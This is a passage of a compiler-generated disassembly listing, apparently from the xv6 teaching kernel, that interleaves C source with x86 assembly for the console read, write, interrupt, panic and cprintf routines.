8010029e: e8 76 3c 00 00 call 80103f19 <acquire>
while(n > 0){
801002a3: 83 c4 10 add $0x10,%esp
801002a6: 85 db test %ebx,%ebx
801002a8: 0f 8e 8f 00 00 00 jle 8010033d <consoleread+0xc5>
while(input.r == input.w){
801002ae: a1 a0 ff 10 80 mov 0x8010ffa0,%eax
801002b3: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax
801002b9: 75 47 jne 80100302 <consoleread+0x8a>
if(myproc()->killed){
801002bb: e8 05 30 00 00 call 801032c5 <myproc>
801002c0: 83 78 24 00 cmpl $0x0,0x24(%eax)
801002c4: 75 17 jne 801002dd <consoleread+0x65>
release(&cons.lock);
ilock(ip);
return -1;
}
sleep(&input.r, &cons.lock);
801002c6: 83 ec 08 sub $0x8,%esp
801002c9: 68 20 a5 10 80 push $0x8010a520
801002ce: 68 a0 ff 10 80 push $0x8010ffa0
801002d3: e8 29 36 00 00 call 80103901 <sleep>
801002d8: 83 c4 10 add $0x10,%esp
801002db: eb d1 jmp 801002ae <consoleread+0x36>
release(&cons.lock);
801002dd: 83 ec 0c sub $0xc,%esp
801002e0: 68 20 a5 10 80 push $0x8010a520
801002e5: e8 98 3c 00 00 call 80103f82 <release>
ilock(ip);
801002ea: 89 3c 24 mov %edi,(%esp)
801002ed: e8 d8 12 00 00 call 801015ca <ilock>
return -1;
801002f2: 83 c4 10 add $0x10,%esp
801002f5: b8 ff ff ff ff mov $0xffffffff,%eax
}
release(&cons.lock);
ilock(ip);
return target - n;
}
801002fa: 8d 65 f4 lea -0xc(%ebp),%esp
801002fd: 5b pop %ebx
801002fe: 5e pop %esi
801002ff: 5f pop %edi
80100300: 5d pop %ebp
80100301: c3 ret
c = input.buf[input.r++ % INPUT_BUF];
80100302: 8d 50 01 lea 0x1(%eax),%edx
80100305: 89 15 a0 ff 10 80 mov %edx,0x8010ffa0
8010030b: 89 c2 mov %eax,%edx
8010030d: 83 e2 7f and $0x7f,%edx
80100310: 0f b6 92 20 ff 10 80 movzbl -0x7fef00e0(%edx),%edx
80100317: 0f be ca movsbl %dl,%ecx
if(c == C('D')){ // EOF
8010031a: 80 fa 04 cmp $0x4,%dl
8010031d: 74 14 je 80100333 <consoleread+0xbb>
*dst++ = c;
8010031f: 8d 46 01 lea 0x1(%esi),%eax
80100322: 88 16 mov %dl,(%esi)
--n;
80100324: 83 eb 01 sub $0x1,%ebx
if(c == '\n')
80100327: 83 f9 0a cmp $0xa,%ecx
8010032a: 74 11 je 8010033d <consoleread+0xc5>
*dst++ = c;
8010032c: 89 c6 mov %eax,%esi
8010032e: e9 73 ff ff ff jmp 801002a6 <consoleread+0x2e>
if(n < target){
80100333: 3b 5d e4 cmp -0x1c(%ebp),%ebx
80100336: 73 05 jae 8010033d <consoleread+0xc5>
input.r--;
80100338: a3 a0 ff 10 80 mov %eax,0x8010ffa0
release(&cons.lock);
8010033d: 83 ec 0c sub $0xc,%esp
80100340: 68 20 a5 10 80 push $0x8010a520
80100345: e8 38 3c 00 00 call 80103f82 <release>
ilock(ip);
8010034a: 89 3c 24 mov %edi,(%esp)
8010034d: e8 78 12 00 00 call 801015ca <ilock>
return target - n;
80100352: 8b 45 e4 mov -0x1c(%ebp),%eax
80100355: 29 d8 sub %ebx,%eax
80100357: 83 c4 10 add $0x10,%esp
8010035a: eb 9e jmp 801002fa <consoleread+0x82>
8010035c <panic>:
{
8010035c: f3 0f 1e fb endbr32
80100360: 55 push %ebp
80100361: 89 e5 mov %esp,%ebp
80100363: 53 push %ebx
80100364: 83 ec 34 sub $0x34,%esp
}
static inline void
cli(void)
{
asm volatile("cli");
80100367: fa cli
cons.locking = 0;
80100368: c7 05 54 a5 10 80 00 movl $0x0,0x8010a554
8010036f: 00 00 00
cprintf("lapicid %d: panic: ", lapicid());
80100372: e8 a2 20 00 00 call 80102419 <lapicid>
80100377: 83 ec 08 sub $0x8,%esp
8010037a: 50 push %eax
8010037b: 68 2d 69 10 80 push $0x8010692d
80100380: e8 a4 02 00 00 call 80100629 <cprintf>
cprintf(s);
80100385: 83 c4 04 add $0x4,%esp
80100388: ff 75 08 pushl 0x8(%ebp)
8010038b: e8 99 02 00 00 call 80100629 <cprintf>
cprintf("\n");
80100390: c7 04 24 5f 72 10 80 movl $0x8010725f,(%esp)
80100397: e8 8d 02 00 00 call 80100629 <cprintf>
getcallerpcs(&s, pcs);
8010039c: 83 c4 08 add $0x8,%esp
8010039f: 8d 45 d0 lea -0x30(%ebp),%eax
801003a2: 50 push %eax
801003a3: 8d 45 08 lea 0x8(%ebp),%eax
801003a6: 50 push %eax
801003a7: e8 3c 3a 00 00 call 80103de8 <getcallerpcs>
for(i=0; i<10; i++)
801003ac: 83 c4 10 add $0x10,%esp
801003af: bb 00 00 00 00 mov $0x0,%ebx
801003b4: eb 17 jmp 801003cd <panic+0x71>
cprintf(" %p", pcs[i]);
801003b6: 83 ec 08 sub $0x8,%esp
801003b9: ff 74 9d d0 pushl -0x30(%ebp,%ebx,4)
801003bd: 68 41 69 10 80 push $0x80106941
801003c2: e8 62 02 00 00 call 80100629 <cprintf>
for(i=0; i<10; i++)
801003c7: 83 c3 01 add $0x1,%ebx
801003ca: 83 c4 10 add $0x10,%esp
801003cd: 83 fb 09 cmp $0x9,%ebx
801003d0: 7e e4 jle 801003b6 <panic+0x5a>
panicked = 1; // freeze other CPU
801003d2: c7 05 58 a5 10 80 01 movl $0x1,0x8010a558
801003d9: 00 00 00
for(;;)
801003dc: eb fe jmp 801003dc <panic+0x80>
801003de <cgaputc>:
{
801003de: 55 push %ebp
801003df: 89 e5 mov %esp,%ebp
801003e1: 57 push %edi
801003e2: 56 push %esi
801003e3: 53 push %ebx
801003e4: 83 ec 0c sub $0xc,%esp
801003e7: 89 c6 mov %eax,%esi
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801003e9: b9 d4 03 00 00 mov $0x3d4,%ecx
801003ee: b8 0e 00 00 00 mov $0xe,%eax
801003f3: 89 ca mov %ecx,%edx
801003f5: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801003f6: bb d5 03 00 00 mov $0x3d5,%ebx
801003fb: 89 da mov %ebx,%edx
801003fd: ec in (%dx),%al
pos = inb(CRTPORT+1) << 8;
801003fe: 0f b6 f8 movzbl %al,%edi
80100401: c1 e7 08 shl $0x8,%edi
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80100404: b8 0f 00 00 00 mov $0xf,%eax
80100409: 89 ca mov %ecx,%edx
8010040b: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010040c: 89 da mov %ebx,%edx
8010040e: ec in (%dx),%al
pos |= inb(CRTPORT+1);
8010040f: 0f b6 c8 movzbl %al,%ecx
80100412: 09 f9 or %edi,%ecx
if(c == '\n')
80100414: 83 fe 0a cmp $0xa,%esi
80100417: 74 66 je 8010047f <cgaputc+0xa1>
else if(c == BACKSPACE){
80100419: 81 fe 00 01 00 00 cmp $0x100,%esi
8010041f: 74 7f je 801004a0 <cgaputc+0xc2>
crt[pos++] = (c&0xff) | 0x0700; // black on white
80100421: 89 f0 mov %esi,%eax
80100423: 0f b6 f0 movzbl %al,%esi
80100426: 8d 59 01 lea 0x1(%ecx),%ebx
80100429: 66 81 ce 00 07 or $0x700,%si
8010042e: 66 89 b4 09 00 80 0b mov %si,-0x7ff48000(%ecx,%ecx,1)
80100435: 80
if(pos < 0 || pos > 25*80)
80100436: 81 fb d0 07 00 00 cmp $0x7d0,%ebx
8010043c: 77 6f ja 801004ad <cgaputc+0xcf>
if((pos/80) >= 24){ // Scroll up.
8010043e: 81 fb 7f 07 00 00 cmp $0x77f,%ebx
80100444: 7f 74 jg 801004ba <cgaputc+0xdc>
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80100446: be d4 03 00 00 mov $0x3d4,%esi
8010044b: b8 0e 00 00 00 mov $0xe,%eax
80100450: 89 f2 mov %esi,%edx
80100452: ee out %al,(%dx)
outb(CRTPORT+1, pos>>8);
80100453: 89 d8 mov %ebx,%eax
80100455: c1 f8 08 sar $0x8,%eax
80100458: b9 d5 03 00 00 mov $0x3d5,%ecx
8010045d: 89 ca mov %ecx,%edx
8010045f: ee out %al,(%dx)
80100460: b8 0f 00 00 00 mov $0xf,%eax
80100465: 89 f2 mov %esi,%edx
80100467: ee out %al,(%dx)
80100468: 89 d8 mov %ebx,%eax
8010046a: 89 ca mov %ecx,%edx
8010046c: ee out %al,(%dx)
crt[pos] = ' ' | 0x0700;
8010046d: 66 c7 84 1b 00 80 0b movw $0x720,-0x7ff48000(%ebx,%ebx,1)
80100474: 80 20 07
}
80100477: 8d 65 f4 lea -0xc(%ebp),%esp
8010047a: 5b pop %ebx
8010047b: 5e pop %esi
8010047c: 5f pop %edi
8010047d: 5d pop %ebp
8010047e: c3 ret
pos += 80 - pos%80;
8010047f: ba 67 66 66 66 mov $0x66666667,%edx
80100484: 89 c8 mov %ecx,%eax
80100486: f7 ea imul %edx
80100488: c1 fa 05 sar $0x5,%edx
8010048b: 8d 04 92 lea (%edx,%edx,4),%eax
8010048e: c1 e0 04 shl $0x4,%eax
80100491: 89 ca mov %ecx,%edx
80100493: 29 c2 sub %eax,%edx
80100495: bb 50 00 00 00 mov $0x50,%ebx
8010049a: 29 d3 sub %edx,%ebx
8010049c: 01 cb add %ecx,%ebx
8010049e: eb 96 jmp 80100436 <cgaputc+0x58>
if(pos > 0) --pos;
801004a0: 85 c9 test %ecx,%ecx
801004a2: 7e 05 jle 801004a9 <cgaputc+0xcb>
801004a4: 8d 59 ff lea -0x1(%ecx),%ebx
801004a7: eb 8d jmp 80100436 <cgaputc+0x58>
pos |= inb(CRTPORT+1);
801004a9: 89 cb mov %ecx,%ebx
801004ab: eb 89 jmp 80100436 <cgaputc+0x58>
panic("pos under/overflow");
801004ad: 83 ec 0c sub $0xc,%esp
801004b0: 68 45 69 10 80 push $0x80106945
801004b5: e8 a2 fe ff ff call 8010035c <panic>
memmove(crt, crt+80, sizeof(crt[0])*23*80);
801004ba: 83 ec 04 sub $0x4,%esp
801004bd: 68 60 0e 00 00 push $0xe60
801004c2: 68 a0 80 0b 80 push $0x800b80a0
801004c7: 68 00 80 0b 80 push $0x800b8000
801004cc: e8 7c 3b 00 00 call 8010404d <memmove>
pos -= 80;
801004d1: 83 eb 50 sub $0x50,%ebx
memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos));
801004d4: b8 80 07 00 00 mov $0x780,%eax
801004d9: 29 d8 sub %ebx,%eax
801004db: 8d 94 1b 00 80 0b 80 lea -0x7ff48000(%ebx,%ebx,1),%edx
801004e2: 83 c4 0c add $0xc,%esp
801004e5: 01 c0 add %eax,%eax
801004e7: 50 push %eax
801004e8: 6a 00 push $0x0
801004ea: 52 push %edx
801004eb: e8 dd 3a 00 00 call 80103fcd <memset>
801004f0: 83 c4 10 add $0x10,%esp
801004f3: e9 4e ff ff ff jmp 80100446 <cgaputc+0x68>
801004f8 <consputc>:
if(panicked){
801004f8: 83 3d 58 a5 10 80 00 cmpl $0x0,0x8010a558
801004ff: 74 03 je 80100504 <consputc+0xc>
asm volatile("cli");
80100501: fa cli
for(;;)
80100502: eb fe jmp 80100502 <consputc+0xa>
{
80100504: 55 push %ebp
80100505: 89 e5 mov %esp,%ebp
80100507: 53 push %ebx
80100508: 83 ec 04 sub $0x4,%esp
8010050b: 89 c3 mov %eax,%ebx
if(c == BACKSPACE){
8010050d: 3d 00 01 00 00 cmp $0x100,%eax
80100512: 74 18 je 8010052c <consputc+0x34>
uartputc(c);
80100514: 83 ec 0c sub $0xc,%esp
80100517: 50 push %eax
80100518: e8 91 4f 00 00 call 801054ae <uartputc>
8010051d: 83 c4 10 add $0x10,%esp
cgaputc(c);
80100520: 89 d8 mov %ebx,%eax
80100522: e8 b7 fe ff ff call 801003de <cgaputc>
}
80100527: 8b 5d fc mov -0x4(%ebp),%ebx
8010052a: c9 leave
8010052b: c3 ret
uartputc('\b'); uartputc(' '); uartputc('\b');
8010052c: 83 ec 0c sub $0xc,%esp
8010052f: 6a 08 push $0x8
80100531: e8 78 4f 00 00 call 801054ae <uartputc>
80100536: c7 04 24 20 00 00 00 movl $0x20,(%esp)
8010053d: e8 6c 4f 00 00 call 801054ae <uartputc>
80100542: c7 04 24 08 00 00 00 movl $0x8,(%esp)
80100549: e8 60 4f 00 00 call 801054ae <uartputc>
8010054e: 83 c4 10 add $0x10,%esp
80100551: eb cd jmp 80100520 <consputc+0x28>
80100553 <printint>:
{
80100553: 55 push %ebp
80100554: 89 e5 mov %esp,%ebp
80100556: 57 push %edi
80100557: 56 push %esi
80100558: 53 push %ebx
80100559: 83 ec 2c sub $0x2c,%esp
8010055c: 89 d6 mov %edx,%esi
8010055e: 89 4d d4 mov %ecx,-0x2c(%ebp)
if(sign && (sign = xx < 0))
80100561: 85 c9 test %ecx,%ecx
80100563: 74 0c je 80100571 <printint+0x1e>
80100565: 89 c7 mov %eax,%edi
80100567: c1 ef 1f shr $0x1f,%edi
8010056a: 89 7d d4 mov %edi,-0x2c(%ebp)
8010056d: 85 c0 test %eax,%eax
8010056f: 78 38 js 801005a9 <printint+0x56>
x = xx;
80100571: 89 c1 mov %eax,%ecx
i = 0;
80100573: bb 00 00 00 00 mov $0x0,%ebx
buf[i++] = digits[x % base];
80100578: 89 c8 mov %ecx,%eax
8010057a: ba 00 00 00 00 mov $0x0,%edx
8010057f: f7 f6 div %esi
80100581: 89 df mov %ebx,%edi
80100583: 83 c3 01 add $0x1,%ebx
80100586: 0f b6 92 70 69 10 80 movzbl -0x7fef9690(%edx),%edx
8010058d: 88 54 3d d8 mov %dl,-0x28(%ebp,%edi,1)
}while((x /= base) != 0);
80100591: 89 ca mov %ecx,%edx
80100593: 89 c1 mov %eax,%ecx
80100595: 39 d6 cmp %edx,%esi
80100597: 76 df jbe 80100578 <printint+0x25>
if(sign)
80100599: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp)
8010059d: 74 1a je 801005b9 <printint+0x66>
buf[i++] = '-';
8010059f: c6 44 1d d8 2d movb $0x2d,-0x28(%ebp,%ebx,1)
801005a4: 8d 5f 02 lea 0x2(%edi),%ebx
801005a7: eb 10 jmp 801005b9 <printint+0x66>
x = -xx;
801005a9: f7 d8 neg %eax
801005ab: 89 c1 mov %eax,%ecx
801005ad: eb c4 jmp 80100573 <printint+0x20>
consputc(buf[i]);
801005af: 0f be 44 1d d8 movsbl -0x28(%ebp,%ebx,1),%eax
801005b4: e8 3f ff ff ff call 801004f8 <consputc>
while(--i >= 0)
801005b9: 83 eb 01 sub $0x1,%ebx
801005bc: 79 f1 jns 801005af <printint+0x5c>
}
801005be: 83 c4 2c add $0x2c,%esp
801005c1: 5b pop %ebx
801005c2: 5e pop %esi
801005c3: 5f pop %edi
801005c4: 5d pop %ebp
801005c5: c3 ret
801005c6 <consolewrite>:
int
consolewrite(struct inode *ip, char *buf, int n)
{
801005c6: f3 0f 1e fb endbr32
801005ca: 55 push %ebp
801005cb: 89 e5 mov %esp,%ebp
801005cd: 57 push %edi
801005ce: 56 push %esi
801005cf: 53 push %ebx
801005d0: 83 ec 18 sub $0x18,%esp
801005d3: 8b 7d 0c mov 0xc(%ebp),%edi
801005d6: 8b 75 10 mov 0x10(%ebp),%esi
int i;
iunlock(ip);
801005d9: ff 75 08 pushl 0x8(%ebp)
801005dc: e8 af 10 00 00 call 80101690 <iunlock>
acquire(&cons.lock);
801005e1: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
801005e8: e8 2c 39 00 00 call 80103f19 <acquire>
for(i = 0; i < n; i++)
801005ed: 83 c4 10 add $0x10,%esp
801005f0: bb 00 00 00 00 mov $0x0,%ebx
801005f5: 39 f3 cmp %esi,%ebx
801005f7: 7d 0e jge 80100607 <consolewrite+0x41>
consputc(buf[i] & 0xff);
801005f9: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax
801005fd: e8 f6 fe ff ff call 801004f8 <consputc>
for(i = 0; i < n; i++)
80100602: 83 c3 01 add $0x1,%ebx
80100605: eb ee jmp 801005f5 <consolewrite+0x2f>
release(&cons.lock);
80100607: 83 ec 0c sub $0xc,%esp
8010060a: 68 20 a5 10 80 push $0x8010a520
8010060f: e8 6e 39 00 00 call 80103f82 <release>
ilock(ip);
80100614: 83 c4 04 add $0x4,%esp
80100617: ff 75 08 pushl 0x8(%ebp)
8010061a: e8 ab 0f 00 00 call 801015ca <ilock>
return n;
}
8010061f: 89 f0 mov %esi,%eax
80100621: 8d 65 f4 lea -0xc(%ebp),%esp
80100624: 5b pop %ebx
80100625: 5e pop %esi
80100626: 5f pop %edi
80100627: 5d pop %ebp
80100628: c3 ret
80100629 <cprintf>:
{
80100629: f3 0f 1e fb endbr32
8010062d: 55 push %ebp
8010062e: 89 e5 mov %esp,%ebp
80100630: 57 push %edi
80100631: 56 push %esi
80100632: 53 push %ebx
80100633: 83 ec 1c sub $0x1c,%esp
locking = cons.locking;
80100636: a1 54 a5 10 80 mov 0x8010a554,%eax
8010063b: 89 45 e0 mov %eax,-0x20(%ebp)
if(locking)
8010063e: 85 c0 test %eax,%eax
80100640: 75 10 jne 80100652 <cprintf+0x29>
if (fmt == 0)
80100642: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
80100646: 74 1c je 80100664 <cprintf+0x3b>
argp = (uint*)(void*)(&fmt + 1);
80100648: 8d 7d 0c lea 0xc(%ebp),%edi
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
8010064b: be 00 00 00 00 mov $0x0,%esi
80100650: eb 27 jmp 80100679 <cprintf+0x50>
acquire(&cons.lock);
80100652: 83 ec 0c sub $0xc,%esp
80100655: 68 20 a5 10 80 push $0x8010a520
8010065a: e8 ba 38 00 00 call 80103f19 <acquire>
8010065f: 83 c4 10 add $0x10,%esp
80100662: eb de jmp 80100642 <cprintf+0x19>
panic("null fmt");
80100664: 83 ec 0c sub $0xc,%esp
80100667: 68 5f 69 10 80 push $0x8010695f
8010066c: e8 eb fc ff ff call 8010035c <panic>
consputc(c);
80100671: e8 82 fe ff ff call 801004f8 <consputc>
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
80100676: 83 c6 01 add $0x1,%esi
80100679: 8b 55 08 mov 0x8(%ebp),%edx
8010067c: 0f b6 04 32 movzbl (%edx,%esi,1),%eax
80100680: 85 c0 test %eax,%eax
80100682: 0f 84 b1 00 00 00 je 80100739 <cprintf+0x110>
if(c != '%'){
80100688: 83 f8 25 cmp $0x25,%eax
8010068b: 75 e4 jne 80100671 <cprintf+0x48>
c = fmt[++i] & 0xff;
8010068d: 83 c6 01 add $0x1,%esi
80100690: 0f b6 1c 32 movzbl (%edx,%esi,1),%ebx
if(c == 0)
80100694: 85 db test %ebx,%ebx
80100696: 0f 84 9d 00 00 00 je 80100739 <cprintf+0x110>
switch(c){
8010069c: 83 fb 70 cmp $0x70,%ebx
8010069f: 74 2e je 801006cf <cprintf+0xa6>
801006a1: 7f 22 jg 801006c5 <cprintf+0x9c>
801006a3: 83 fb 25 cmp $0x25,%ebx
801006a6: 74 6c je 80100714 <cprintf+0xeb>
801006a8: 83 fb 64 cmp $0x64,%ebx
801006ab: 75 76 jne 80100723 <cprintf+0xfa>
printint(*argp++, 10, 1);
801006ad: 8d 5f 04 lea 0x4(%edi),%ebx
801006b0: 8b 07 mov (%edi),%eax
801006b2: b9 01 00 00 00 mov $0x1,%ecx
801006b7: ba 0a 00 00 00 mov $0xa,%edx
801006bc: e8 92 fe ff ff call 80100553 <printint>
801006c1: 89 df mov %ebx,%edi
break;
801006c3: eb b1 jmp 80100676 <cprintf+0x4d>
switch(c){
801006c5: 83 fb 73 cmp $0x73,%ebx
801006c8: 74 1d je 801006e7 <cprintf+0xbe>
801006ca: 83 fb 78 cmp $0x78,%ebx
801006cd: 75 54 jne 80100723 <cprintf+0xfa>
printint(*argp++, 16, 0);
801006cf: 8d 5f 04 lea 0x4(%edi),%ebx
801006d2: 8b 07 mov (%edi),%eax
801006d4: b9 00 00 00 00 mov $0x0,%ecx
801006d9: ba 10 00 00 00 mov $0x10,%edx
801006de: e8 70 fe ff ff call 80100553 <printint>
801006e3: 89 df mov %ebx,%edi
break;
801006e5: eb 8f jmp 80100676 <cprintf+0x4d>
if((s = (char*)*argp++) == 0)
801006e7: 8d 47 04 lea 0x4(%edi),%eax
801006ea: 89 45 e4 mov %eax,-0x1c(%ebp)
801006ed: 8b 1f mov (%edi),%ebx
801006ef: 85 db test %ebx,%ebx
801006f1: 75 05 jne 801006f8 <cprintf+0xcf>
s = "(null)";
801006f3: bb 58 69 10 80 mov $0x80106958,%ebx
for(; *s; s++)
801006f8: 0f b6 03 movzbl (%ebx),%eax
801006fb: 84 c0 test %al,%al
801006fd: 74 0d je 8010070c <cprintf+0xe3>
consputc(*s);
801006ff: 0f be c0 movsbl %al,%eax
80100702: e8 f1 fd ff ff call 801004f8 <consputc>
for(; *s; s++)
80100707: 83 c3 01 add $0x1,%ebx
8010070a: eb ec jmp 801006f8 <cprintf+0xcf>
if((s = (char*)*argp++) == 0)
8010070c: 8b 7d e4 mov -0x1c(%ebp),%edi
8010070f: e9 62 ff ff ff jmp 80100676 <cprintf+0x4d>
consputc('%');
80100714: b8 25 00 00 00 mov $0x25,%eax
80100719: e8 da fd ff ff call 801004f8 <consputc>
break;
8010071e: e9 53 ff ff ff jmp 80100676 <cprintf+0x4d>
consputc('%');
80100723: b8 25 00 00 00 mov $0x25,%eax
80100728: e8 cb fd ff ff call 801004f8 <consputc>
consputc(c);
8010072d: 89 d8 mov %ebx,%eax
8010072f: e8 c4 fd ff ff call 801004f8 <consputc>
break;
80100734: e9 3d ff ff ff jmp 80100676 <cprintf+0x4d>
if(locking)
80100739: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
8010073d: 75 08 jne 80100747 <cprintf+0x11e>
}
8010073f: 8d 65 f4 lea -0xc(%ebp),%esp
80100742: 5b pop %ebx
80100743: 5e pop %esi
80100744: 5f pop %edi
80100745: 5d pop %ebp
80100746: c3 ret
release(&cons.lock);
80100747: 83 ec 0c sub $0xc,%esp
8010074a: 68 20 a5 10 80 push $0x8010a520
8010074f: e8 2e 38 00 00 call 80103f82 <release>
80100754: 83 c4 10 add $0x10,%esp
}
80100757: eb e6 jmp 8010073f <cprintf+0x116>
80100759 <consoleintr>:
{
80100759: f3 0f 1e fb endbr32
8010075d: 55 push %ebp
8010075e: 89 e5 mov %esp,%ebp
80100760: 57 push %edi
80100761: 56 push %esi
80100762: 53 push %ebx
80100763: 83 ec 18 sub $0x18,%esp
80100766: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&cons.lock);
80100769: 68 20 a5 10 80 push $0x8010a520
8010076e: e8 a6 37 00 00 call 80103f19 <acquire>
while((c = getc()) >= 0){
80100773: 83 c4 10 add $0x10,%esp
int c, doprocdump = 0;
80100776: be 00 00 00 00 mov $0x0,%esi
while((c = getc()) >= 0){
8010077b: eb 13 jmp 80100790 <consoleintr+0x37>
switch(c){
8010077d: 83 ff 08 cmp $0x8,%edi
80100780: 0f 84 d9 00 00 00 je 8010085f <consoleintr+0x106>
80100786: 83 ff 10 cmp $0x10,%edi
80100789: 75 25 jne 801007b0 <consoleintr+0x57>
8010078b: be 01 00 00 00 mov $0x1,%esi
while((c = getc()) >= 0){
80100790: ff d3 call *%ebx
80100792: 89 c7 mov %eax,%edi
80100794: 85 c0 test %eax,%eax
80100796: 0f 88 f5 00 00 00 js 80100891 <consoleintr+0x138>
switch(c){
8010079c: 83 ff 15 cmp $0x15,%edi
8010079f: 0f 84 93 00 00 00 je 80100838 <consoleintr+0xdf>
801007a5: 7e d6 jle 8010077d <consoleintr+0x24>
801007a7: 83 ff 7f cmp $0x7f,%edi
801007aa: 0f 84 af 00 00 00 je 8010085f <consoleintr+0x106>
if(c != 0 && input.e-input.r < INPUT_BUF){
801007b0: 85 ff test %edi,%edi
801007b2: 74 dc je 80100790 <consoleintr+0x37>
801007b4: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
801007b9: 89 c2 mov %eax,%edx
801007bb: 2b 15 a0 ff 10 80 sub 0x8010ffa0,%edx
801007c1: 83 fa 7f cmp $0x7f,%edx
801007c4: 77 ca ja 80100790 <consoleintr+0x37>
c = (c == '\r') ? '\n' : c;
801007c6: 83 ff 0d cmp $0xd,%edi
801007c9: 0f 84 b8 00 00 00 je 80100887 <consoleintr+0x12e>
input.buf[input.e++ % INPUT_BUF] = c;
801007cf: 8d 50 01 lea 0x1(%eax),%edx
801007d2: 89 15 a8 ff 10 80 mov %edx,0x8010ffa8
801007d8: 83 e0 7f and $0x7f,%eax
801007db: 89 f9 mov %edi,%ecx
801007dd: 88 88 20 ff 10 80 mov %cl,-0x7fef00e0(%eax)
consputc(c);
801007e3: 89 f8 mov %edi,%eax
801007e5: e8 0e fd ff ff call 801004f8 <consputc>
if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){
801007ea: 83 ff 0a cmp $0xa,%edi
801007ed: 0f 94 c2 sete %dl
801007f0: 83 ff 04 cmp $0x4,%edi
801007f3: 0f 94 c0 sete %al
801007f6: 08 c2 or %al,%dl
801007f8: 75 10 jne 8010080a <consoleintr+0xb1>
801007fa: a1 a0 ff 10 80 mov 0x8010ffa0,%eax
801007ff: 83 e8 80 sub $0xffffff80,%eax
80100802: 39 05 a8 ff 10 80 cmp %eax,0x8010ffa8
80100808: 75 86 jne 80100790 <consoleintr+0x37>
input.w = input.e;
8010080a: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
8010080f: a3 a4 ff 10 80 mov %eax,0x8010ffa4
wakeup(&input.r);
80100814: 83 ec 0c sub $0xc,%esp
80100817: 68 a0 ff 10 80 push $0x8010ffa0
8010081c: e8 32 33 00 00 call 80103b53 <wakeup>
80100821: 83 c4 10 add $0x10,%esp
80100824: e9 67 ff ff ff jmp 80100790 <consoleintr+0x37>
input.e--;
80100829: a3 a8 ff 10 80 mov %eax,0x8010ffa8
consputc(BACKSPACE);
8010082e: b8 00 01 00 00 mov $0x100,%eax
80100833: e8 c0 fc ff ff call 801004f8 <consputc>
while(input.e != input.w &&
80100838: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
8010083d: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax
80100843: 0f 84 47 ff ff ff je 80100790 <consoleintr+0x37>
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
80100849: 83 e8 01 sub $0x1,%eax
8010084c: 89 c2 mov %eax,%edx
8010084e: 83 e2 7f and $0x7f,%edx
while(input.e != input.w &&
80100851: 80 ba 20 ff 10 80 0a cmpb $0xa,-0x7fef00e0(%edx)
80100858: 75 cf jne 80100829 <consoleintr+0xd0>
8010085a: e9 31 ff ff ff jmp 80100790 <consoleintr+0x37>
if(input.e != input.w){
8010085f: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
80100864: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax
8010086a: 0f 84 20 ff ff ff je 80100790 <consoleintr+0x37>
input.e--;
80100870: 83 e8 01 sub $0x1,%eax
80100873: a3 a8 ff 10 80 mov %eax,0x8010ffa8
consputc(BACKSPACE);
80100878: b8 00 01 00 00 mov $0x100,%eax
8010087d: e8 76 fc ff ff call 801004f8 <consputc>
80100882: e9 09 ff ff ff jmp 80100790 <consoleintr+0x37>
c = (c == '\r') ? '\n' : c;
80100887: bf 0a 00 00 00 mov $0xa,%edi
8010088c: e9 3e ff ff ff jmp 801007cf <consoleintr+0x76>
release(&cons.lock);
80100891: 83 ec 0c sub $0xc,%esp
80100894: 68 20 a5 10 80 push $0x8010a520
80100899: e8 e4 36 00 00 call 80103f82 <release>
if(doprocdump) {
8010089e: 83 c4 10 add $0x10,%esp
801008a1: 85 f6 test %esi,%esi
801008a3: 75 08 jne 801008ad <consoleintr+0x154>
}
801008a5: 8d 65 f4 lea -0xc(%ebp),%esp
801008a8: 5b pop %ebx
801008a9: 5e pop %esi
801008aa: 5f pop %edi
801008ab: 5d pop %ebp
801008ac: c3 ret
procdump(); // now call procdump() wo. cons.lock held
801008ad: e8 46 33 00 00 call 80103bf8 <procdump>
}
801008b2: eb f1 jmp 801008a5 <consoleintr+0x14c>
801008b4 <consoleinit>:
void
consoleinit(void)
{
801008b4: f3 0f 1e fb endbr32
801008b8: 55 push %ebp
801008b9: 89 e5 mov %esp,%ebp
801008bb: 83 ec 10 sub $0x10,%esp
initlock(&cons.lock, "console");
801008be: 68 68 69 10 80 push $0x80106968
801008c3: 68 20 a5 10 80 push $0x8010a520
801008c8: e8 fc 34 00 00 call 80103dc9 <initlock>
devsw[CONSOLE].write = consolewrite;
801008cd: c7 05 6c 09 11 80 c6 movl $0x801005c6,0x8011096c
801008d4: 05 10 80
devsw[CONSOLE].read = consoleread;
801008d7: c7 05 68 09 11 80 78 movl $0x80100278,0x80110968
801008de: 02 10 80
cons.locking = 1;
801008e1: c7 05 54 a5 10 80 01 movl $0x1,0x8010a554
801008e8: 00 00 00
ioapicenable(IRQ_KBD, 0);
801008eb: 83 c4 08 add $0x8,%esp
801008ee: 6a 00 push $0x0
801008f0: 6a 01 push $0x1
801008f2: e8 04 17 00 00 call 80101ffb <ioapicenable>
}
801008f7: 83 c4 10 add $0x10,%esp
801008fa: c9 leave
801008fb: c3 ret
801008fc <exec>:
#include "x86.h"
#include "elf.h"
int
exec(char *path, char **argv)
{
801008fc: f3 0f 1e fb endbr32
80100900: 55 push %ebp
80100901: 89 e5 mov %esp,%ebp
80100903: 57 push %edi
80100904: 56 push %esi
80100905: 53 push %ebx
80100906: 81 ec 0c 01 00 00 sub $0x10c,%esp
uint argc, sz, sp, ustack[3+MAXARG+1];
